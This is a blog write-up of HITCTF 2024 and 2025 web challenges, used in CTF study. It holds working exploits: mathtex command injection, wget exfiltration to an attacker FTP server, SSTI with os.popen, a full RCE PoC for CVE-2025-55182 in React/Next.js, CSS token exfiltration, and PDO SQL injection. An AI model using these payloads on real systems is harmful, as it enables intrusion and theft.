Hitctf 2024&2025 web wp

最近也是打了hitctf2025,想着顺便把去年的一块写了吧。

2024

mathex

cve-2023-51887

Fuzzing mathtex - Yulun/blog

mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

没有源代码就简单搭了一个环境(也是老古董了还在用cgi)

1
/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}

wget

又是一个cve:cve-2024-10524

先看看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import Flask, request, render_template, jsonify 
import subprocess 
import os 
import base64 
app = Flask(__name__) 
FLAG = os.getenv("FLAG", "flag{}") 
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode() 
print(f"FLAG: {flag_base64}")
@app.route("/") 
def index(): 
    with open(__file__, "r") as file: 
        source_code = file.read() 
        return source_code 
         
@app.route("/execute", methods=["POST"]) 
def execute(): 
    auth = request.form.get("auth") 
    if not auth: 
		    return jsonify({"error": "auth is required"}), 401 
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth): 
        return jsonify({"error": "Hacker!"}), 400 
    try: 
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"] 
        subprocess.run(command, check=True) 
        return jsonify({"message": "Command executed successfully"}) 
    except Exception as e: 
        return jsonify({"error": "Command failed"}), 500 

if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability

主要是利用wget的解析差,如果尝试wget aaa:bbb@ccc,wget会自动将其解释为ftp://aaa/bbb@ccc(其中bbb@ccc会被识别为一个目录名),那么我们就可以利用ftp的匿名登录来进行外带。

我这里没有用常见的ftp,而是使用了python的一个库来模拟ftp。

1
pip install pyftpdlib

因为bbb@ccc会被识别为目录,所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录,在服务器上我们还需要开启对应的端口(我这里用的默认21)和ftp被动模式的端口。

做完这些我们就可以启动ftp服务了

1
python -m pyftpdlib -p 21 -D

发送payload

1
2
POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点,我们使用数字ip

静静等待连接即可

参考文章:

HITCTF2024 Writeup - Turker’s

HITCTF2024 wget wp-先知社区

2025

logServer

先看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random


def gen_secret():
    secret_int = random.getrandbits(96)
    secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
    return secret_bits.hex()


app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
    CREATE TABLE IF NOT EXISTS logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        message TEXT NOT NULL
    )
""")
conn.execute("""
    CREATE TABLE IF NOT EXISTS secret (
        secret TEXT NOT NULL
    )
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")


@app.route("/")
def health_check():
    return jsonify({"status": "ok"}), 200


@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500


@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200


@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

0x01 sqlite注入

/log存在明显的sql注入

1
conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")

不过它使用的是INSERT ,没法直接用联合查询,拷打的gemini告诉我可以使用报错注入来泄露secret

1
' || json_extract('{"a":1}', (SELECT secret FROM secret)) || '

1
' || fts3_tokenizer((SELECT secret FROM secret)) || '    -- 也可以

0x02 伪随机预测

/backdoor很明显的无过滤ssti,前提是secret验证通过。本题最大的难点来了

1
2
3
4
5
6
@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response

每次请求都会更新secret,刚开始想打条件竞争来着,但未成功,于是想到了伪随机,收集足够的随机数样本来预测secret。

1
pip install randcrack

综上本题的总体思路为:利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti

你可以使用python的库来预测,我这里没用

exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
import re
from z3 import *

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def untemper(y_val):
    y = BitVec('y', 32)
    y1 = y ^ LShR(y, 11)
    y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
    y3 = y2 ^ ((y2 << 15) & 0xefc60000)
    y4 = y3 ^ LShR(y3, 18)
    s = Solver()
    s.add(y4 == y_val)
    if s.check() == sat:
        return s.model()[y].as_long()
    return 0

def temper(y):
    y ^= (y >> 11)
    y ^= ((y << 7) & 0x9d2c5680)
    y ^= ((y << 15) & 0xefc60000)
    y ^= (y >> 18)
    return y

def twist(state):
    for i in range(N):
        y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
        state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
    return state

URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"

def get_secret():
    payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
    try:
        r = requests.post(URL, json={"message": payload})
        if "JSON path error near" in r.text:
            match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
            if match:
                return match.group(1)
    except:
        return None
    return None

def main():
    secrets = []
    for i in range(210):
        s_hex = get_secret()
        if not s_hex:
            return
        s_int = int(s_hex, 16)
        a = s_int & 0xFFFFFFFF
        b = (s_int >> 32) & 0xFFFFFFFF
        c = (s_int >> 64) & 0xFFFFFFFF
        secrets.append(a)
        secrets.append(b)
        secrets.append(c)
    
    state = [untemper(y) for y in secrets[:624]]
    next_state = twist(state)
    
    payloads = [
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    ]
    
    current_idx = 6
    for code in payloads:
        next_words = []
        for k in range(3):
            y = next_state[current_idx + k]
            y = temper(y)
            next_words.append(y)
        a, b, c = next_words
        next_secret_int = a | (b << 32) | (c << 64)
        next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
        
        r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
        print(f"Secret: {next_secret_hex}")
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text}")
        
        current_idx += 3
        if current_idx + 3 >= N:
            next_state = twist(next_state)
            current_idx = 0

if __name__ == "__main__":
    main()

Freestyle

本来是个xss题目,结果被无条件rce的cve非预期了

0x01 源码分析

跟上题差不多的逻辑,token通过验证后就会给flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const token = searchParams.get("token");

  if (!token) {
    return NextResponse.json({ error: "Missing token" }, { status: 400 });
  }

  if (validateToken(token)) {
    return NextResponse.json({
      flag: "flag{redacted_flag}",
    });
  } else {
    return NextResponse.json({ error: "Invalid token" }, { status: 403 });
  }
}

而token的生成来自以下文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// /lib/token-store.ts
declare global {
  var CTF_CHALLENGE_TOKEN: string | undefined;
  var CTF_CHALLENGE_LOCKED: boolean | undefined;
}

export function generateToken(): string {
  const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
  globalThis.CTF_CHALLENGE_TOKEN = token;
  globalThis.CTF_CHALLENGE_LOCKED = false;
  console.log(`[CTF] New token generated: ${token}`);
  return token;
}

export function getToken(): string {
  if (!globalThis.CTF_CHALLENGE_TOKEN) {
    return generateToken();
  }
  return globalThis.CTF_CHALLENGE_TOKEN;
}

export function validateToken(inputToken: string): boolean {
  if (globalThis.CTF_CHALLENGE_LOCKED) {
    return false;
  }

  const currentToken = getToken();
  if (inputToken === currentToken) {
    return true;
  }
  // Lock on failure
  globalThis.CTF_CHALLENGE_LOCKED = true;
  console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
  return false;
}

每次开启靶机生成一个两位数的token,并且输入一次错误就会永久锁定。

对于CardGenerator.tsx,重点关注一下几行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<div
    data-token={serverToken}
    className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
    style={previewStyle}
>

const previewStyle = {
	background: bgImage,
}
    
const [bgImage, setBgImage] = useState(
    searchParams.get("bg-image") ||
      "linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);

bg-image参数是可控的,但只能进行css注入来泄露data-token。

0x02 非预期

最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

rce就可以干任何事情了,flag就在代码里不过需要找到编译后的文件。

1
grep -RIl "flag{" /app/

还有一种优雅的方式,直接修改data-token,因为data-token是存在全局变量里面的,我们可以利用原型链访问到全局变量。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF

------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"

"$@0"
------React2ShellBoundaryCTF--

参考:https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup

0x03 预期

https://portswigger.net/research/inline-style-exfiltration

poc:

1
2
3
4
5
<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
  background: image-set(var(--steal));
' data-username="alice">Test</div>

payload:

1
2
3
bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import urllib.parse
import urllib.request

base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
  t = f"{i:02d}"
  expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'

payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)

url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)

Impossible SQL

这题差点给我绕晕了

0x01 源码分析

先看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//index.php
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>

//init.php
//远程还有关键字waf我本地没有加上
<?php

// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';

// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";

$pdo = new PDO($dsn, $user, $pass);

?>

base64_decode说明传入的参数是 Base64 编码过的

  • info:数据库字段名
  • key:用户名

str_replace(’`’, ‘``’, …)

  • 将反引号 ```转成 ,转义无影响
  • 防止利用反引号逃逸字段名(SQL 注入的一种)

safe_str过滤

  • 空格、Tab、换行:[ \t\r\n]

  • SQL 注释:

    • /*

    • #

    • -- (后面跟空格或换行)(不是匹配–而是匹配– 类似的形式)

过滤+预处理看起来无懈可击了

0x02 关键字WAF绕过

远程存在WAF(本地没加),拦截SELECTUNION等关键字。利用php对base64的容错来绕过:在Base64字符串中插入空格,PHP的base64_decode()会自动忽略。

1
2
def split_b64(s):
    return " ".join(s)  # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="

0x03 PDO绕过

参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements

利用 PDO 的内部解析逻辑来实现注入,如果你向 info 参数传入一些特殊的字节(比如 ? + null 字节),PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数,此时原本只有一个绑定参数,但 PDO 却认为存在多个,最终可以让你注入 SQL 代码片段。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

反引号里可以被接受的内容包括了 \001-\377 ,但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符,读到 \0 时 fallback 到 SPECIALS 分支,反引号被当做一个普通符号跳过了,这导致紧接着的 ? 暴露出来,被 PDO 当做一个占位符。

另外waf禁止了[ \t\r\n] ,在MySQL会将 \x0b 识别为空白符, \x0b(垂直制表符VT)可以绕过过滤

1
2
3
4
53 45 4C 45 43 54   -> SELECT
0B                  -> \x0b
31 2B 31            -> 1+1
3B                  -> ;

waf还禁止了文章中使用的#号

1
info = \?#\x00

#不能使用,使用--\x0b替代,过滤只过滤--[ \t\r\n]的形式,而没有过滤–本身没被过滤,--\x0b绕过过滤的同时最后会被解析成--[空格],达到注释的目的。

0x04 构造payload

payload结构:

1
2
3
4
5
6
7
8
info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"

# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"

执行流程分析:

1.PDO prepare:

1
SELECT `\?--\x0b\x00` FROM users WHERE username = ?

2.PDO替换:

?的位置被替换为key的值

1
SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?

3.PDO预编译:

1
SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?

key整体被自动加上单引号和反斜杠转义

4.忽略注释后面:

1
SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;

MySQL 的 反引号(`) 用来包 标识符(列名、别名、表名),在反引号中:

  • ' 单引号是普通字符

  • \ 也是普通字符(不是转义)

1
`\'x`是一个合法的列名 / 别名

外层查询:从子查询结果中取名为 \'x 的那一列

1
SELECT `\'x` FROM ( ... ) y;

子查询:从当前数据库取所有表名,把 table_name 起别名为 \'x

1
SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()

其他payload同理。

0x05 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
import requests

url = "http://ip"

def split_b64(s):
    """Split base64 to bypass WAF"""
    return " ".join(s)

def exploit(key_payload):
    
    info = b'\\?--\x0b\x00' 
    
    info_b64 = (base64.b64encode(info).decode())
    key_b64 = (base64.b64encode(key_payload).decode())
    
    r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
    print(r.text)
    
    if r.text.strip():
        print(r.text)
    
    return r

vt = b'\x0b'  

exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + 
        b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + 
        b'WHERE' + vt + b'table_schema=database())y;--' + vt)

#使用hex就不用加引号了(引号被过滤)
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + 
        b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + 
        b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)


exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt + 
        b"`'x`" + vt + b'FROM' + vt + b'flag' + vt + 
        b'LIMIT' + vt + b'1)y;--' + vt)

ezLoader

java学会了再来复现

参考链接:

https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/

https://www.turker.cn/archives/hitctf-2025-writeup

Novel SQL Injection Technique in PDO Prepared Statements

https://lunaticquasimodo.top/blog